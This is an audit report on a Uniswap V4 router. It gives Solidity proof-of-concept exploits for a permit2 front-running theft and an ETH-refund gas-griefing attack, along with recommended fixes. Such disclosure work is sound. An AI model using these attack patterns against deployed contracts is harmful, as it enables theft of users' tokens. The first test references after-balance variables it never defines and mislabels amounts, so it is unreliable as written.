33AUDITS & CO.

routerV4 Audit Report

A time-boxed security review of the protocol was done by 33Audit & Company, focusing on the security aspects of the smart contracts. This audit was performed by 33Audits as Security Researcher.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About 33 Audits & Company

33Audits LLC is an independent smart contract security researcher company and development group. We conduct audits a as a group of independent auditors with various experience and backgrounds. We have conducted over 15 audits with dozens of vulnerabilities found and are experienced in building and auditing smart contracts. We have over 4 years of Smart Contract development with a focus in Solidity, Rust and Move. Check our previous work here or reach out on X @solidityauditor.

About v4-router

The v4-router is a simple and optimized router for executing swaps on Uniswap V4, designed with an interface inspired by UniswapV2Router02. This architectural choice provides familiarity for developers while incorporating V4's advanced features and optimizations. The router serves as a stateless interface for interacting with Uniswap V4 pools, offering enhanced efficiency and flexibility through its modern design patterns. Key components of the system include:

- Single and multi-hop swap execution with optimized paths
- Native ETH support for reduced gas costs
- Support for both exact input and exact output swaps

Severity Definitions

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

Scope

The audit covered the following contracts at commit hash `d047e0c7b3110c46f9c258f99b7bf0c7ea16fad1`:

Contract	Description	Link
UniswapV4Router04.sol	Main router contract implementing swap functionality with support for single and multi-hop swaps	View
BaseSwapRouter.sol	Base contract handling swap execution logic, callback handling, and token settlement	View
SwapFlags.sol	Library for managing swap configuration flags using bitwise operations	View
PathKey.sol	Library for handling path operations and pool key generation for multi-hop swaps	View

Findings Summary

ID	Title	Severity	Status
[H-01]	Router Permit2 Front-Running	High	Fixed
[L-01]	Gas Griefing in ETH Refunds	Low	Acknowledged

HIGH

[H-1] Router Permit2 Front-Running

Impact

High

Attackers can front-run permit2 swap transactions to steal users' tokens by redirecting the output to themselves while using the victim's permit signature.

Description

The Router's permit2 implementation allows any address to execute a swap using another user's permit signature. While the permit correctly authorizes the router to spend the user's tokens, it fails to bind the transaction execution to the original signer. This allows attackers to front-run transactions and redirect swap outputs to their own address.

Proof of Concept

```
function test_singleSwap_permit2_frontrunAttack(bool zeroForOne, uint256
seed) public {
    address attacker = makeAddr("attacker");
    address receiver = makeAddr("receiver");
    vm.assume(receiver != address(manager) && receiver != address(this) &&
receiver != address(alice));

    // randomly select a pool
    PoolKey memory poolKey = vanillaPoolKeys[seed %
vanillaPoolKeys.length];
    Currency inputCurrency = zeroForOne ? poolKey.currency0 :
poolKey.currency1;
    Currency outputCurrency = zeroForOne ? poolKey.currency1 :
poolKey.currency0;

    InputOutputBalances memory aliceBefore =
        inputOutputBalances(alice, inputCurrency, outputCurrency);
    InputOutputBalances memory attackerBefore =
        inputOutputBalances(attacker, inputCurrency, outputCurrency);
    InputOutputBalances memory receiverBefore =
        inputOutputBalances(receiver, inputCurrency, outputCurrency);

    // -- SETUP PERMIT --
    uint256 amountIn = 1e18;
    uint256 amountOutMin = 0.99e18;

    // Alice creates and signs a permit
    ISignatureTransfer.PermitTransferFrom memory permit =
ISignatureTransfer.PermitTransferFrom({
        permitted: ISignatureTransfer.TokenPermissions({
            token: Currency.unwrap(inputCurrency),
            amount: amountIn
        }),
        nonce: 0,
        deadline: block.timestamp + 100
    });
    bytes memory signature = getPermitTransferToSignature(permit, alicePK,
address(router));

    // Attacker sees the pending transaction and creates their own
transaction with the same permit
    bytes memory attackerSwapCalldata = abi.encode(
        BaseData({
            amount: amountIn,
            amountLimit: amountOutMin,
            payer: alice,
            receiver: attacker, // Attacker receives the tokens
            flags: SwapFlags.SINGLE_SWAP | SwapFlags.PERMIT2
        }),
        PermitPayload({permit: permit, signature: signature}),
        zeroForOne,
        poolKey,
        ZERO_BYTES
```

```
        );

        // Original intended swap calldata
        bytes memory aliceSwapCalldata = abi.encode(
            BaseData({
                amount: amountIn,
                amountLimit: amountOutMin,
                payer: alice,
                receiver: receiver,
                flags: SwapFlags.SINGLE_SWAP | SwapFlags.PERMIT2
            }),
            PermitPayload({permit: permit, signature: signature}),
            zeroForOne,
            poolKey,
            ZERO_BYTES
        );

        // Attacker front-runs Alice's transaction
        router.swap(attackerSwapCalldata, uint256(block.timestamp));

        // Alice's transaction fails because permit was already used
        vm.expectRevert(); // Will revert with InvalidNonce
        router.swap(aliceSwapCalldata, uint256(block.timestamp));

        // Verify:
        // 1. Alice lost input tokens
        assertEq(aliceBefore.inputCurrency - aliceAfter.inputCurrency,
    amountIn);

        // 2. Attacker received the output tokens (not the intended receiver)
        assertApproxEqRel(
            attackerAfter.outputCurrency - attackerBefore.outputCurrency,
            amountIn,
            0.01e18
        );

        // 3. Intended receiver got nothing
        assertEq(receiverBefore.outputCurrency, receiverAfter.outputCurrency);
    }
```

Recommended Fix

Add a check in the _unlockCallback function to ensure that only the permit signer can execute the swap:

```
    function _unlockCallback(bytes calldata callbackData) internal virtual
    override returns (bytes memory) {
        BaseData memory data = abi.decode(callbackData, (BaseData));

        // Add this check:
        if (data.flags & SwapFlags.PERMIT2 != 0) {
            // For permit2 swaps, require that msg.sender is the payer
```

```
            if (msg.sender != data.payer) revert Unauthorized();
        }

        // Rest of function remains the same...
    }
```

Additional Notes

- The bug allows complete theft of swap outputs.
- The fix maintains permit2's flexibility while ensuring only the signer can execute their permit.

Output

```
aliceBefore: 10000000000000000000 (10,000e18)
aliceAfter:   9999000000000000000 (9,999e18)
attackerBefore.outputCurrency: 0
attackerAfter.outputCurrency:  996900609009281774 (≈0.9969e18)
```

LOW

[L-1] Gas Griefing in ETH Refunds

Description

The Router's _refundETH function forwards all remaining gas to the receiver during ETH refunds. A malicious receiver contract can exploit this by consuming excessive gas in their fallback function, significantly increasing transaction costs for the sender.

Impact

A malicious receiver can perform a gas griefing attack by consuming excessive gas during ETH refunds, causing the transaction to be much more expensive than expected or potentially fail due to out-of-gas errors.

The impact is LOW in isolation, but when combined with the permit2 front-running vulnerability (see references), an attacker could not only steal tokens but also drain excess ETH while forcing the victim to pay for malicious gas consumption.

This is particularly dangerous in scenarios involving:

- MEV bots executing their transaction.
- Smart contract wallets executing batched transactions.
- Meta-transactions where someone else executes on their behalf.

Proof of Concept

```
contract GasGriefingReceiver {
    fallback() external payable {
        // Consume significant gas but don't revert
        uint256 iterations = 0;
        while(gasleft() > 100000) {  // Leave some gas to complete the
call
            iterations++;
        }
    }
}

function testGasGriefing() public {
    // Deploy malicious receiver
    GasGriefingReceiver grievingReceiver = new GasGriefingReceiver();

    // Send ETH to router first
    vm.deal(address(router), 1 ether);

    // Get initial gas
    uint256 startGas = gasleft();

    // Try to refund ETH to malicious receiver
    UniswapV4Router04Exposed(payable(address(router))).exposed_refundETH(
        address(grievingReceiver),
        0.1 ether
    );

    // Calculate gas consumed
    uint256 gasConsumed = startGas - gasleft();
    console.log("Gas consumed:", gasConsumed);

    // Verify the transfer succeeded but consumed excessive gas
    assertEq(address(router).balance, 0.9 ether);
    assertEq(address(grievingReceiver).balance, 0.1 ether);
    assert(gasConsumed > 1000000); // Verify significant gas consumption
}
```

Recommended Fix

Add a gas limit to the ETH refund call:

```
function _refundETH(address receiver, uint256 amount) internal virtual {
    assembly ("memory-safe") {
        // Forward 50k gas - enough for most legitimate operations
        if iszero(call(50000, receiver, amount, codesize(), 0x00,
codesize(), 0x00)) {
            mstore(0x00, 0xb12d13eb)
            revert(0x1c, 0x04)
        }
    }
}
```

Additional Notes

- The attack is particularly effective when the receiver is different from the transaction sender.
- A fixed gas limit of 50k should be sufficient for legitimate contract receivers while preventing abuse.
- Alternative solutions include configurable gas limits or separate functions for contract/EOA receivers.

References

https://cantina.xyz/code/84df57a3-0526-49b8-a7c5-334888f43940/findings/143
https://cantina.xyz/code/84df57a3-0526-49b8-a7c5-334888f43940/findings/158
https://cantina.xyz/code/84df57a3-0526-49b8-a7c5-334888f43940/findings/121